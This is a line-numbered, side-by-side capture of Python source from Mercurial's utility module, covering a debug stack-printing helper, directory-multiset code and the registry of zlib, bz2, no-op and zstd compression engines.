3213 By default it will flush stdout first.
3218 By default it will flush stdout first.
3214 It can be used everywhere and intentionally does not require an ui object.
3219 It can be used everywhere and intentionally does not require an ui object.
3215 Not be used in production code but very convenient while developing.
3220 Not be used in production code but very convenient while developing.
3216 '''
3221 '''
3217 if otherf:
3222 if otherf:
3218 otherf.flush()
3223 otherf.flush()
3219 f.write('%s at:\n' % msg.rstrip())
3224 f.write('%s at:\n' % msg.rstrip())
3220 for line in getstackframes(skip + 1, depth=depth):
3225 for line in getstackframes(skip + 1, depth=depth):
3221 f.write(line)
3226 f.write(line)
3222 f.flush()
3227 f.flush()
3223
3228
3224 class dirs(object):
3229 class dirs(object):
3225 '''a multiset of directory names from a dirstate or manifest'''
3230 '''a multiset of directory names from a dirstate or manifest'''
3226
3231
3227 def __init__(self, map, skip=None):
3232 def __init__(self, map, skip=None):
3228 self._dirs = {}
3233 self._dirs = {}
3229 addpath = self.addpath
3234 addpath = self.addpath
3230 if safehasattr(map, 'iteritems') and skip is not None:
3235 if safehasattr(map, 'iteritems') and skip is not None:
3231 for f, s in map.iteritems():
3236 for f, s in map.iteritems():
3232 if s[0] != skip:
3237 if s[0] != skip:
3233 addpath(f)
3238 addpath(f)
3234 else:
3239 else:
3235 for f in map:
3240 for f in map:
3236 addpath(f)
3241 addpath(f)
3237
3242
3238 def addpath(self, path):
3243 def addpath(self, path):
3239 dirs = self._dirs
3244 dirs = self._dirs
3240 for base in finddirs(path):
3245 for base in finddirs(path):
3241 if base in dirs:
3246 if base in dirs:
3242 dirs[base] += 1
3247 dirs[base] += 1
3243 return
3248 return
3244 dirs[base] = 1
3249 dirs[base] = 1
3245
3250
3246 def delpath(self, path):
3251 def delpath(self, path):
3247 dirs = self._dirs
3252 dirs = self._dirs
3248 for base in finddirs(path):
3253 for base in finddirs(path):
3249 if dirs[base] > 1:
3254 if dirs[base] > 1:
3250 dirs[base] -= 1
3255 dirs[base] -= 1
3251 return
3256 return
3252 del dirs[base]
3257 del dirs[base]
3253
3258
3254 def __iter__(self):
3259 def __iter__(self):
3255 return iter(self._dirs)
3260 return iter(self._dirs)
3256
3261
3257 def __contains__(self, d):
3262 def __contains__(self, d):
3258 return d in self._dirs
3263 return d in self._dirs
3259
3264
3260 if safehasattr(parsers, 'dirs'):
3265 if safehasattr(parsers, 'dirs'):
3261 dirs = parsers.dirs
3266 dirs = parsers.dirs
3262
3267
3263 def finddirs(path):
3268 def finddirs(path):
3264 pos = path.rfind('/')
3269 pos = path.rfind('/')
3265 while pos != -1:
3270 while pos != -1:
3266 yield path[:pos]
3271 yield path[:pos]
3267 pos = path.rfind('/', 0, pos)
3272 pos = path.rfind('/', 0, pos)
3268
3273
3269 # compression code
3274 # compression code
3270
3275
3271 SERVERROLE = 'server'
3276 SERVERROLE = 'server'
3272 CLIENTROLE = 'client'
3277 CLIENTROLE = 'client'
3273
3278
3274 compewireprotosupport = collections.namedtuple(u'compenginewireprotosupport',
3279 compewireprotosupport = collections.namedtuple(u'compenginewireprotosupport',
3275 (u'name', u'serverpriority',
3280 (u'name', u'serverpriority',
3276 u'clientpriority'))
3281 u'clientpriority'))
3277
3282
3278 class compressormanager(object):
3283 class compressormanager(object):
3279 """Holds registrations of various compression engines.
3284 """Holds registrations of various compression engines.
3280
3285
3281 This class essentially abstracts the differences between compression
3286 This class essentially abstracts the differences between compression
3282 engines to allow new compression formats to be added easily, possibly from
3287 engines to allow new compression formats to be added easily, possibly from
3283 extensions.
3288 extensions.
3284
3289
3285 Compressors are registered against the global instance by calling its
3290 Compressors are registered against the global instance by calling its
3286 ``register()`` method.
3291 ``register()`` method.
3287 """
3292 """
3288 def __init__(self):
3293 def __init__(self):
3289 self._engines = {}
3294 self._engines = {}
3290 # Bundle spec human name to engine name.
3295 # Bundle spec human name to engine name.
3291 self._bundlenames = {}
3296 self._bundlenames = {}
3292 # Internal bundle identifier to engine name.
3297 # Internal bundle identifier to engine name.
3293 self._bundletypes = {}
3298 self._bundletypes = {}
3294 # Revlog header to engine name.
3299 # Revlog header to engine name.
3295 self._revlogheaders = {}
3300 self._revlogheaders = {}
3296 # Wire proto identifier to engine name.
3301 # Wire proto identifier to engine name.
3297 self._wiretypes = {}
3302 self._wiretypes = {}
3298
3303
3299 def __getitem__(self, key):
3304 def __getitem__(self, key):
3300 return self._engines[key]
3305 return self._engines[key]
3301
3306
3302 def __contains__(self, key):
3307 def __contains__(self, key):
3303 return key in self._engines
3308 return key in self._engines
3304
3309
3305 def __iter__(self):
3310 def __iter__(self):
3306 return iter(self._engines.keys())
3311 return iter(self._engines.keys())
3307
3312
3308 def register(self, engine):
3313 def register(self, engine):
3309 """Register a compression engine with the manager.
3314 """Register a compression engine with the manager.
3310
3315
3311 The argument must be a ``compressionengine`` instance.
3316 The argument must be a ``compressionengine`` instance.
3312 """
3317 """
3313 if not isinstance(engine, compressionengine):
3318 if not isinstance(engine, compressionengine):
3314 raise ValueError(_('argument must be a compressionengine'))
3319 raise ValueError(_('argument must be a compressionengine'))
3315
3320
3316 name = engine.name()
3321 name = engine.name()
3317
3322
3318 if name in self._engines:
3323 if name in self._engines:
3319 raise error.Abort(_('compression engine %s already registered') %
3324 raise error.Abort(_('compression engine %s already registered') %
3320 name)
3325 name)
3321
3326
3322 bundleinfo = engine.bundletype()
3327 bundleinfo = engine.bundletype()
3323 if bundleinfo:
3328 if bundleinfo:
3324 bundlename, bundletype = bundleinfo
3329 bundlename, bundletype = bundleinfo
3325
3330
3326 if bundlename in self._bundlenames:
3331 if bundlename in self._bundlenames:
3327 raise error.Abort(_('bundle name %s already registered') %
3332 raise error.Abort(_('bundle name %s already registered') %
3328 bundlename)
3333 bundlename)
3329 if bundletype in self._bundletypes:
3334 if bundletype in self._bundletypes:
3330 raise error.Abort(_('bundle type %s already registered by %s') %
3335 raise error.Abort(_('bundle type %s already registered by %s') %
3331 (bundletype, self._bundletypes[bundletype]))
3336 (bundletype, self._bundletypes[bundletype]))
3332
3337
3333 # No external facing name declared.
3338 # No external facing name declared.
3334 if bundlename:
3339 if bundlename:
3335 self._bundlenames[bundlename] = name
3340 self._bundlenames[bundlename] = name
3336
3341
3337 self._bundletypes[bundletype] = name
3342 self._bundletypes[bundletype] = name
3338
3343
3339 wiresupport = engine.wireprotosupport()
3344 wiresupport = engine.wireprotosupport()
3340 if wiresupport:
3345 if wiresupport:
3341 wiretype = wiresupport.name
3346 wiretype = wiresupport.name
3342 if wiretype in self._wiretypes:
3347 if wiretype in self._wiretypes:
3343 raise error.Abort(_('wire protocol compression %s already '
3348 raise error.Abort(_('wire protocol compression %s already '
3344 'registered by %s') %
3349 'registered by %s') %
3345 (wiretype, self._wiretypes[wiretype]))
3350 (wiretype, self._wiretypes[wiretype]))
3346
3351
3347 self._wiretypes[wiretype] = name
3352 self._wiretypes[wiretype] = name
3348
3353
3349 revlogheader = engine.revlogheader()
3354 revlogheader = engine.revlogheader()
3350 if revlogheader and revlogheader in self._revlogheaders:
3355 if revlogheader and revlogheader in self._revlogheaders:
3351 raise error.Abort(_('revlog header %s already registered by %s') %
3356 raise error.Abort(_('revlog header %s already registered by %s') %
3352 (revlogheader, self._revlogheaders[revlogheader]))
3357 (revlogheader, self._revlogheaders[revlogheader]))
3353
3358
3354 if revlogheader:
3359 if revlogheader:
3355 self._revlogheaders[revlogheader] = name
3360 self._revlogheaders[revlogheader] = name
3356
3361
3357 self._engines[name] = engine
3362 self._engines[name] = engine
3358
3363
3359 @property
3364 @property
3360 def supportedbundlenames(self):
3365 def supportedbundlenames(self):
3361 return set(self._bundlenames.keys())
3366 return set(self._bundlenames.keys())
3362
3367
3363 @property
3368 @property
3364 def supportedbundletypes(self):
3369 def supportedbundletypes(self):
3365 return set(self._bundletypes.keys())
3370 return set(self._bundletypes.keys())
3366
3371
3367 def forbundlename(self, bundlename):
3372 def forbundlename(self, bundlename):
3368 """Obtain a compression engine registered to a bundle name.
3373 """Obtain a compression engine registered to a bundle name.
3369
3374
3370 Will raise KeyError if the bundle type isn't registered.
3375 Will raise KeyError if the bundle type isn't registered.
3371
3376
3372 Will abort if the engine is known but not available.
3377 Will abort if the engine is known but not available.
3373 """
3378 """
3374 engine = self._engines[self._bundlenames[bundlename]]
3379 engine = self._engines[self._bundlenames[bundlename]]
3375 if not engine.available():
3380 if not engine.available():
3376 raise error.Abort(_('compression engine %s could not be loaded') %
3381 raise error.Abort(_('compression engine %s could not be loaded') %
3377 engine.name())
3382 engine.name())
3378 return engine
3383 return engine
3379
3384
3380 def forbundletype(self, bundletype):
3385 def forbundletype(self, bundletype):
3381 """Obtain a compression engine registered to a bundle type.
3386 """Obtain a compression engine registered to a bundle type.
3382
3387
3383 Will raise KeyError if the bundle type isn't registered.
3388 Will raise KeyError if the bundle type isn't registered.
3384
3389
3385 Will abort if the engine is known but not available.
3390 Will abort if the engine is known but not available.
3386 """
3391 """
3387 engine = self._engines[self._bundletypes[bundletype]]
3392 engine = self._engines[self._bundletypes[bundletype]]
3388 if not engine.available():
3393 if not engine.available():
3389 raise error.Abort(_('compression engine %s could not be loaded') %
3394 raise error.Abort(_('compression engine %s could not be loaded') %
3390 engine.name())
3395 engine.name())
3391 return engine
3396 return engine
3392
3397
3393 def supportedwireengines(self, role, onlyavailable=True):
3398 def supportedwireengines(self, role, onlyavailable=True):
3394 """Obtain compression engines that support the wire protocol.
3399 """Obtain compression engines that support the wire protocol.
3395
3400
3396 Returns a list of engines in prioritized order, most desired first.
3401 Returns a list of engines in prioritized order, most desired first.
3397
3402
3398 If ``onlyavailable`` is set, filter out engines that can't be
3403 If ``onlyavailable`` is set, filter out engines that can't be
3399 loaded.
3404 loaded.
3400 """
3405 """
3401 assert role in (SERVERROLE, CLIENTROLE)
3406 assert role in (SERVERROLE, CLIENTROLE)
3402
3407
3403 attr = 'serverpriority' if role == SERVERROLE else 'clientpriority'
3408 attr = 'serverpriority' if role == SERVERROLE else 'clientpriority'
3404
3409
3405 engines = [self._engines[e] for e in self._wiretypes.values()]
3410 engines = [self._engines[e] for e in self._wiretypes.values()]
3406 if onlyavailable:
3411 if onlyavailable:
3407 engines = [e for e in engines if e.available()]
3412 engines = [e for e in engines if e.available()]
3408
3413
3409 def getkey(e):
3414 def getkey(e):
3410 # Sort first by priority, highest first. In case of tie, sort
3415 # Sort first by priority, highest first. In case of tie, sort
3411 # alphabetically. This is arbitrary, but ensures output is
3416 # alphabetically. This is arbitrary, but ensures output is
3412 # stable.
3417 # stable.
3413 w = e.wireprotosupport()
3418 w = e.wireprotosupport()
3414 return -1 * getattr(w, attr), w.name
3419 return -1 * getattr(w, attr), w.name
3415
3420
3416 return list(sorted(engines, key=getkey))
3421 return list(sorted(engines, key=getkey))
3417
3422
3418 def forwiretype(self, wiretype):
3423 def forwiretype(self, wiretype):
3419 engine = self._engines[self._wiretypes[wiretype]]
3424 engine = self._engines[self._wiretypes[wiretype]]
3420 if not engine.available():
3425 if not engine.available():
3421 raise error.Abort(_('compression engine %s could not be loaded') %
3426 raise error.Abort(_('compression engine %s could not be loaded') %
3422 engine.name())
3427 engine.name())
3423 return engine
3428 return engine
3424
3429
3425 def forrevlogheader(self, header):
3430 def forrevlogheader(self, header):
3426 """Obtain a compression engine registered to a revlog header.
3431 """Obtain a compression engine registered to a revlog header.
3427
3432
3428 Will raise KeyError if the revlog header value isn't registered.
3433 Will raise KeyError if the revlog header value isn't registered.
3429 """
3434 """
3430 return self._engines[self._revlogheaders[header]]
3435 return self._engines[self._revlogheaders[header]]
3431
3436
3432 compengines = compressormanager()
3437 compengines = compressormanager()
3433
3438
3434 class compressionengine(object):
3439 class compressionengine(object):
3435 """Base class for compression engines.
3440 """Base class for compression engines.
3436
3441
3437 Compression engines must implement the interface defined by this class.
3442 Compression engines must implement the interface defined by this class.
3438 """
3443 """
3439 def name(self):
3444 def name(self):
3440 """Returns the name of the compression engine.
3445 """Returns the name of the compression engine.
3441
3446
3442 This is the key the engine is registered under.
3447 This is the key the engine is registered under.
3443
3448
3444 This method must be implemented.
3449 This method must be implemented.
3445 """
3450 """
3446 raise NotImplementedError()
3451 raise NotImplementedError()
3447
3452
3448 def available(self):
3453 def available(self):
3449 """Whether the compression engine is available.
3454 """Whether the compression engine is available.
3450
3455
3451 The intent of this method is to allow optional compression engines
3456 The intent of this method is to allow optional compression engines
3452 that may not be available in all installations (such as engines relying
3457 that may not be available in all installations (such as engines relying
3453 on C extensions that may not be present).
3458 on C extensions that may not be present).
3454 """
3459 """
3455 return True
3460 return True
3456
3461
3457 def bundletype(self):
3462 def bundletype(self):
3458 """Describes bundle identifiers for this engine.
3463 """Describes bundle identifiers for this engine.
3459
3464
3460 If this compression engine isn't supported for bundles, returns None.
3465 If this compression engine isn't supported for bundles, returns None.
3461
3466
3462 If this engine can be used for bundles, returns a 2-tuple of strings of
3467 If this engine can be used for bundles, returns a 2-tuple of strings of
3463 the user-facing "bundle spec" compression name and an internal
3468 the user-facing "bundle spec" compression name and an internal
3464 identifier used to denote the compression format within bundles. To
3469 identifier used to denote the compression format within bundles. To
3465 exclude the name from external usage, set the first element to ``None``.
3470 exclude the name from external usage, set the first element to ``None``.
3466
3471
3467 If bundle compression is supported, the class must also implement
3472 If bundle compression is supported, the class must also implement
3468 ``compressstream`` and `decompressorreader``.
3473 ``compressstream`` and `decompressorreader``.
3469
3474
3470 The docstring of this method is used in the help system to tell users
3475 The docstring of this method is used in the help system to tell users
3471 about this engine.
3476 about this engine.
3472 """
3477 """
3473 return None
3478 return None
3474
3479
3475 def wireprotosupport(self):
3480 def wireprotosupport(self):
3476 """Declare support for this compression format on the wire protocol.
3481 """Declare support for this compression format on the wire protocol.
3477
3482
3478 If this compression engine isn't supported for compressing wire
3483 If this compression engine isn't supported for compressing wire
3479 protocol payloads, returns None.
3484 protocol payloads, returns None.
3480
3485
3481 Otherwise, returns ``compenginewireprotosupport`` with the following
3486 Otherwise, returns ``compenginewireprotosupport`` with the following
3482 fields:
3487 fields:
3483
3488
3484 * String format identifier
3489 * String format identifier
3485 * Integer priority for the server
3490 * Integer priority for the server
3486 * Integer priority for the client
3491 * Integer priority for the client
3487
3492
3488 The integer priorities are used to order the advertisement of format
3493 The integer priorities are used to order the advertisement of format
3489 support by server and client. The highest integer is advertised
3494 support by server and client. The highest integer is advertised
3490 first. Integers with non-positive values aren't advertised.
3495 first. Integers with non-positive values aren't advertised.
3491
3496
3492 The priority values are somewhat arbitrary and only used for default
3497 The priority values are somewhat arbitrary and only used for default
3493 ordering. The relative order can be changed via config options.
3498 ordering. The relative order can be changed via config options.
3494
3499
3495 If wire protocol compression is supported, the class must also implement
3500 If wire protocol compression is supported, the class must also implement
3496 ``compressstream`` and ``decompressorreader``.
3501 ``compressstream`` and ``decompressorreader``.
3497 """
3502 """
3498 return None
3503 return None
3499
3504
3500 def revlogheader(self):
3505 def revlogheader(self):
3501 """Header added to revlog chunks that identifies this engine.
3506 """Header added to revlog chunks that identifies this engine.
3502
3507
3503 If this engine can be used to compress revlogs, this method should
3508 If this engine can be used to compress revlogs, this method should
3504 return the bytes used to identify chunks compressed with this engine.
3509 return the bytes used to identify chunks compressed with this engine.
3505 Else, the method should return ``None`` to indicate it does not
3510 Else, the method should return ``None`` to indicate it does not
3506 participate in revlog compression.
3511 participate in revlog compression.
3507 """
3512 """
3508 return None
3513 return None
3509
3514
3510 def compressstream(self, it, opts=None):
3515 def compressstream(self, it, opts=None):
3511 """Compress an iterator of chunks.
3516 """Compress an iterator of chunks.
3512
3517
3513 The method receives an iterator (ideally a generator) of chunks of
3518 The method receives an iterator (ideally a generator) of chunks of
3514 bytes to be compressed. It returns an iterator (ideally a generator)
3519 bytes to be compressed. It returns an iterator (ideally a generator)
3515 of bytes of chunks representing the compressed output.
3520 of bytes of chunks representing the compressed output.
3516
3521
3517 Optionally accepts an argument defining how to perform compression.
3522 Optionally accepts an argument defining how to perform compression.
3518 Each engine treats this argument differently.
3523 Each engine treats this argument differently.
3519 """
3524 """
3520 raise NotImplementedError()
3525 raise NotImplementedError()
3521
3526
3522 def decompressorreader(self, fh):
3527 def decompressorreader(self, fh):
3523 """Perform decompression on a file object.
3528 """Perform decompression on a file object.
3524
3529
3525 Argument is an object with a ``read(size)`` method that returns
3530 Argument is an object with a ``read(size)`` method that returns
3526 compressed data. Return value is an object with a ``read(size)`` that
3531 compressed data. Return value is an object with a ``read(size)`` that
3527 returns uncompressed data.
3532 returns uncompressed data.
3528 """
3533 """
3529 raise NotImplementedError()
3534 raise NotImplementedError()
3530
3535
3531 def revlogcompressor(self, opts=None):
3536 def revlogcompressor(self, opts=None):
3532 """Obtain an object that can be used to compress revlog entries.
3537 """Obtain an object that can be used to compress revlog entries.
3533
3538
3534 The object has a ``compress(data)`` method that compresses binary
3539 The object has a ``compress(data)`` method that compresses binary
3535 data. This method returns compressed binary data or ``None`` if
3540 data. This method returns compressed binary data or ``None`` if
3536 the data could not be compressed (too small, not compressible, etc).
3541 the data could not be compressed (too small, not compressible, etc).
3537 The returned data should have a header uniquely identifying this
3542 The returned data should have a header uniquely identifying this
3538 compression format so decompression can be routed to this engine.
3543 compression format so decompression can be routed to this engine.
3539 This header should be identified by the ``revlogheader()`` return
3544 This header should be identified by the ``revlogheader()`` return
3540 value.
3545 value.
3541
3546
3542 The object has a ``decompress(data)`` method that decompresses
3547 The object has a ``decompress(data)`` method that decompresses
3543 data. The method will only be called if ``data`` begins with
3548 data. The method will only be called if ``data`` begins with
3544 ``revlogheader()``. The method should return the raw, uncompressed
3549 ``revlogheader()``. The method should return the raw, uncompressed
3545 data or raise a ``RevlogError``.
3550 data or raise a ``RevlogError``.
3546
3551
3547 The object is reusable but is not thread safe.
3552 The object is reusable but is not thread safe.
3548 """
3553 """
3549 raise NotImplementedError()
3554 raise NotImplementedError()
3550
3555
3551 class _zlibengine(compressionengine):
3556 class _zlibengine(compressionengine):
3552 def name(self):
3557 def name(self):
3553 return 'zlib'
3558 return 'zlib'
3554
3559
3555 def bundletype(self):
3560 def bundletype(self):
3556 """zlib compression using the DEFLATE algorithm.
3561 """zlib compression using the DEFLATE algorithm.
3557
3562
3558 All Mercurial clients should support this format. The compression
3563 All Mercurial clients should support this format. The compression
3559 algorithm strikes a reasonable balance between compression ratio
3564 algorithm strikes a reasonable balance between compression ratio
3560 and size.
3565 and size.
3561 """
3566 """
3562 return 'gzip', 'GZ'
3567 return 'gzip', 'GZ'
3563
3568
3564 def wireprotosupport(self):
3569 def wireprotosupport(self):
3565 return compewireprotosupport('zlib', 20, 20)
3570 return compewireprotosupport('zlib', 20, 20)
3566
3571
3567 def revlogheader(self):
3572 def revlogheader(self):
3568 return 'x'
3573 return 'x'
3569
3574
3570 def compressstream(self, it, opts=None):
3575 def compressstream(self, it, opts=None):
3571 opts = opts or {}
3576 opts = opts or {}
3572
3577
3573 z = zlib.compressobj(opts.get('level', -1))
3578 z = zlib.compressobj(opts.get('level', -1))
3574 for chunk in it:
3579 for chunk in it:
3575 data = z.compress(chunk)
3580 data = z.compress(chunk)
3576 # Not all calls to compress emit data. It is cheaper to inspect
3581 # Not all calls to compress emit data. It is cheaper to inspect
3577 # here than to feed empty chunks through generator.
3582 # here than to feed empty chunks through generator.
3578 if data:
3583 if data:
3579 yield data
3584 yield data
3580
3585
3581 yield z.flush()
3586 yield z.flush()
3582
3587
3583 def decompressorreader(self, fh):
3588 def decompressorreader(self, fh):
3584 def gen():
3589 def gen():
3585 d = zlib.decompressobj()
3590 d = zlib.decompressobj()
3586 for chunk in filechunkiter(fh):
3591 for chunk in filechunkiter(fh):
3587 while chunk:
3592 while chunk:
3588 # Limit output size to limit memory.
3593 # Limit output size to limit memory.
3589 yield d.decompress(chunk, 2 ** 18)
3594 yield d.decompress(chunk, 2 ** 18)
3590 chunk = d.unconsumed_tail
3595 chunk = d.unconsumed_tail
3591
3596
3592 return chunkbuffer(gen())
3597 return chunkbuffer(gen())
3593
3598
3594 class zlibrevlogcompressor(object):
3599 class zlibrevlogcompressor(object):
3595 def compress(self, data):
3600 def compress(self, data):
3596 insize = len(data)
3601 insize = len(data)
3597 # Caller handles empty input case.
3602 # Caller handles empty input case.
3598 assert insize > 0
3603 assert insize > 0
3599
3604
3600 if insize < 44:
3605 if insize < 44:
3601 return None
3606 return None
3602
3607
3603 elif insize <= 1000000:
3608 elif insize <= 1000000:
3604 compressed = zlib.compress(data)
3609 compressed = zlib.compress(data)
3605 if len(compressed) < insize:
3610 if len(compressed) < insize:
3606 return compressed
3611 return compressed
3607 return None
3612 return None
3608
3613
3609 # zlib makes an internal copy of the input buffer, doubling
3614 # zlib makes an internal copy of the input buffer, doubling
3610 # memory usage for large inputs. So do streaming compression
3615 # memory usage for large inputs. So do streaming compression
3611 # on large inputs.
3616 # on large inputs.
3612 else:
3617 else:
3613 z = zlib.compressobj()
3618 z = zlib.compressobj()
3614 parts = []
3619 parts = []
3615 pos = 0
3620 pos = 0
3616 while pos < insize:
3621 while pos < insize:
3617 pos2 = pos + 2**20
3622 pos2 = pos + 2**20
3618 parts.append(z.compress(data[pos:pos2]))
3623 parts.append(z.compress(data[pos:pos2]))
3619 pos = pos2
3624 pos = pos2
3620 parts.append(z.flush())
3625 parts.append(z.flush())
3621
3626
3622 if sum(map(len, parts)) < insize:
3627 if sum(map(len, parts)) < insize:
3623 return ''.join(parts)
3628 return ''.join(parts)
3624 return None
3629 return None
3625
3630
3626 def decompress(self, data):
3631 def decompress(self, data):
3627 try:
3632 try:
3628 return zlib.decompress(data)
3633 return zlib.decompress(data)
3629 except zlib.error as e:
3634 except zlib.error as e:
3630 raise error.RevlogError(_('revlog decompress error: %s') %
3635 raise error.RevlogError(_('revlog decompress error: %s') %
3631 forcebytestr(e))
3636 forcebytestr(e))
3632
3637
3633 def revlogcompressor(self, opts=None):
3638 def revlogcompressor(self, opts=None):
3634 return self.zlibrevlogcompressor()
3639 return self.zlibrevlogcompressor()
3635
3640
3636 compengines.register(_zlibengine())
3641 compengines.register(_zlibengine())
3637
3642
3638 class _bz2engine(compressionengine):
3643 class _bz2engine(compressionengine):
3639 def name(self):
3644 def name(self):
3640 return 'bz2'
3645 return 'bz2'
3641
3646
3642 def bundletype(self):
3647 def bundletype(self):
3643 """An algorithm that produces smaller bundles than ``gzip``.
3648 """An algorithm that produces smaller bundles than ``gzip``.
3644
3649
3645 All Mercurial clients should support this format.
3650 All Mercurial clients should support this format.
3646
3651
3647 This engine will likely produce smaller bundles than ``gzip`` but
3652 This engine will likely produce smaller bundles than ``gzip`` but
3648 will be significantly slower, both during compression and
3653 will be significantly slower, both during compression and
3649 decompression.
3654 decompression.
3650
3655
3651 If available, the ``zstd`` engine can yield similar or better
3656 If available, the ``zstd`` engine can yield similar or better
3652 compression at much higher speeds.
3657 compression at much higher speeds.
3653 """
3658 """
3654 return 'bzip2', 'BZ'
3659 return 'bzip2', 'BZ'
3655
3660
3656 # We declare a protocol name but don't advertise by default because
3661 # We declare a protocol name but don't advertise by default because
3657 # it is slow.
3662 # it is slow.
3658 def wireprotosupport(self):
3663 def wireprotosupport(self):
3659 return compewireprotosupport('bzip2', 0, 0)
3664 return compewireprotosupport('bzip2', 0, 0)
3660
3665
3661 def compressstream(self, it, opts=None):
3666 def compressstream(self, it, opts=None):
3662 opts = opts or {}
3667 opts = opts or {}
3663 z = bz2.BZ2Compressor(opts.get('level', 9))
3668 z = bz2.BZ2Compressor(opts.get('level', 9))
3664 for chunk in it:
3669 for chunk in it:
3665 data = z.compress(chunk)
3670 data = z.compress(chunk)
3666 if data:
3671 if data:
3667 yield data
3672 yield data
3668
3673
3669 yield z.flush()
3674 yield z.flush()
3670
3675
3671 def decompressorreader(self, fh):
3676 def decompressorreader(self, fh):
3672 def gen():
3677 def gen():
3673 d = bz2.BZ2Decompressor()
3678 d = bz2.BZ2Decompressor()
3674 for chunk in filechunkiter(fh):
3679 for chunk in filechunkiter(fh):
3675 yield d.decompress(chunk)
3680 yield d.decompress(chunk)
3676
3681
3677 return chunkbuffer(gen())
3682 return chunkbuffer(gen())
3678
3683
3679 compengines.register(_bz2engine())
3684 compengines.register(_bz2engine())
3680
3685
3681 class _truncatedbz2engine(compressionengine):
3686 class _truncatedbz2engine(compressionengine):
3682 def name(self):
3687 def name(self):
3683 return 'bz2truncated'
3688 return 'bz2truncated'
3684
3689
3685 def bundletype(self):
3690 def bundletype(self):
3686 return None, '_truncatedBZ'
3691 return None, '_truncatedBZ'
3687
3692
3688 # We don't implement compressstream because it is hackily handled elsewhere.
3693 # We don't implement compressstream because it is hackily handled elsewhere.
3689
3694
3690 def decompressorreader(self, fh):
3695 def decompressorreader(self, fh):
3691 def gen():
3696 def gen():
3692 # The input stream doesn't have the 'BZ' header. So add it back.
3697 # The input stream doesn't have the 'BZ' header. So add it back.
3693 d = bz2.BZ2Decompressor()
3698 d = bz2.BZ2Decompressor()
3694 d.decompress('BZ')
3699 d.decompress('BZ')
3695 for chunk in filechunkiter(fh):
3700 for chunk in filechunkiter(fh):
3696 yield d.decompress(chunk)
3701 yield d.decompress(chunk)
3697
3702
3698 return chunkbuffer(gen())
3703 return chunkbuffer(gen())
3699
3704
3700 compengines.register(_truncatedbz2engine())
3705 compengines.register(_truncatedbz2engine())
3701
3706
3702 class _noopengine(compressionengine):
3707 class _noopengine(compressionengine):
3703 def name(self):
3708 def name(self):
3704 return 'none'
3709 return 'none'
3705
3710
3706 def bundletype(self):
3711 def bundletype(self):
3707 """No compression is performed.
3712 """No compression is performed.
3708
3713
3709 Use this compression engine to explicitly disable compression.
3714 Use this compression engine to explicitly disable compression.
3710 """
3715 """
3711 return 'none', 'UN'
3716 return 'none', 'UN'
3712
3717
3713 # Clients always support uncompressed payloads. Servers don't because
3718 # Clients always support uncompressed payloads. Servers don't because
3714 # unless you are on a fast network, uncompressed payloads can easily
3719 # unless you are on a fast network, uncompressed payloads can easily
3715 # saturate your network pipe.
3720 # saturate your network pipe.
3716 def wireprotosupport(self):
3721 def wireprotosupport(self):
3717 return compewireprotosupport('none', 0, 10)
3722 return compewireprotosupport('none', 0, 10)
3718
3723
3719 # We don't implement revlogheader because it is handled specially
3724 # We don't implement revlogheader because it is handled specially
3720 # in the revlog class.
3725 # in the revlog class.
3721
3726
3722 def compressstream(self, it, opts=None):
3727 def compressstream(self, it, opts=None):
3723 return it
3728 return it
3724
3729
3725 def decompressorreader(self, fh):
3730 def decompressorreader(self, fh):
3726 return fh
3731 return fh
3727
3732
3728 class nooprevlogcompressor(object):
3733 class nooprevlogcompressor(object):
3729 def compress(self, data):
3734 def compress(self, data):
3730 return None
3735 return None
3731
3736
3732 def revlogcompressor(self, opts=None):
3737 def revlogcompressor(self, opts=None):
3733 return self.nooprevlogcompressor()
3738 return self.nooprevlogcompressor()
3734
3739
3735 compengines.register(_noopengine())
3740 compengines.register(_noopengine())
3736
3741
3737 class _zstdengine(compressionengine):
3742 class _zstdengine(compressionengine):
3738 def name(self):
3743 def name(self):
3739 return 'zstd'
3744 return 'zstd'
3740
3745
3741 @propertycache
3746 @propertycache
3742 def _module(self):
3747 def _module(self):
3743 # Not all installs have the zstd module available. So defer importing
3748 # Not all installs have the zstd module available. So defer importing
3744 # until first access.
3749 # until first access.
3745 try:
3750 try:
3746 from . import zstd
3751 from . import zstd
3747 # Force delayed import.
3752 # Force delayed import.
3748 zstd.__version__
3753 zstd.__version__
3749 return zstd
3754 return zstd
3750 except ImportError:
3755 except ImportError:
3751 return None
3756 return None
3752
3757
3753 def available(self):
3758 def available(self):
3754 return bool(self._module)
3759 return bool(self._module)
3755
3760
3756 def bundletype(self):
3761 def bundletype(self):
3757 """A modern compression algorithm that is fast and highly flexible.
3762 """A modern compression algorithm that is fast and highly flexible.
3758
3763
3759 Only supported by Mercurial 4.1 and newer clients.
3764 Only supported by Mercurial 4.1 and newer clients.
3760
3765
3761 With the default settings, zstd compression is both faster and yields
3766 With the default settings, zstd compression is both faster and yields
3762 better compression than ``gzip``. It also frequently yields better
3767 better compression than ``gzip``. It also frequently yields better
3763 compression than ``bzip2`` while operating at much higher speeds.
3768 compression than ``bzip2`` while operating at much higher speeds.
3764
3769
3765 If this engine is available and backwards compatibility is not a
3770 If this engine is available and backwards compatibility is not a
3766 concern, it is likely the best available engine.
3771 concern, it is likely the best available engine.
3767 """
3772 """
3768 return 'zstd', 'ZS'
3773 return 'zstd', 'ZS'
3769
3774
3770 def wireprotosupport(self):
3775 def wireprotosupport(self):
3771 return compewireprotosupport('zstd', 50, 50)
3776 return compewireprotosupport('zstd', 50, 50)
3772
3777
3773 def revlogheader(self):
3778 def revlogheader(self):
3774 return '\x28'
3779 return '\x28'
3775
3780
3776 def compressstream(self, it, opts=None):
3781 def compressstream(self, it, opts=None):
3777 opts = opts or {}
3782 opts = opts or {}
3778 # zstd level 3 is almost always significantly faster than zlib
3783 # zstd level 3 is almost always significantly faster than zlib
3779 # while providing no worse compression. It strikes a good balance
3784 # while providing no worse compression. It strikes a good balance
3780 # between speed and compression.
3785 # between speed and compression.
3781 level = opts.get('level', 3)
3786 level = opts.get('level', 3)
3782
3787
3783 zstd = self._module
3788 zstd = self._module
3784 z = zstd.ZstdCompressor(level=level).compressobj()
3789 z = zstd.ZstdCompressor(level=level).compressobj()
3785 for chunk in it:
3790 for chunk in it:
3786 data = z.compress(chunk)
3791 data = z.compress(chunk)
3787 if data:
3792 if data:
3788 yield data
3793 yield data
3789
3794
3790 yield z.flush()
3795 yield z.flush()
3791
3796
3792 def decompressorreader(self, fh):
3797 def decompressorreader(self, fh):
3793 zstd = self._module
3798 zstd = self._module
3794 dctx = zstd.ZstdDecompressor()
3799 dctx = zstd.ZstdDecompressor()
3795 return chunkbuffer(dctx.read_from(fh))
3800 return chunkbuffer(dctx.read_from(fh))
3796
3801
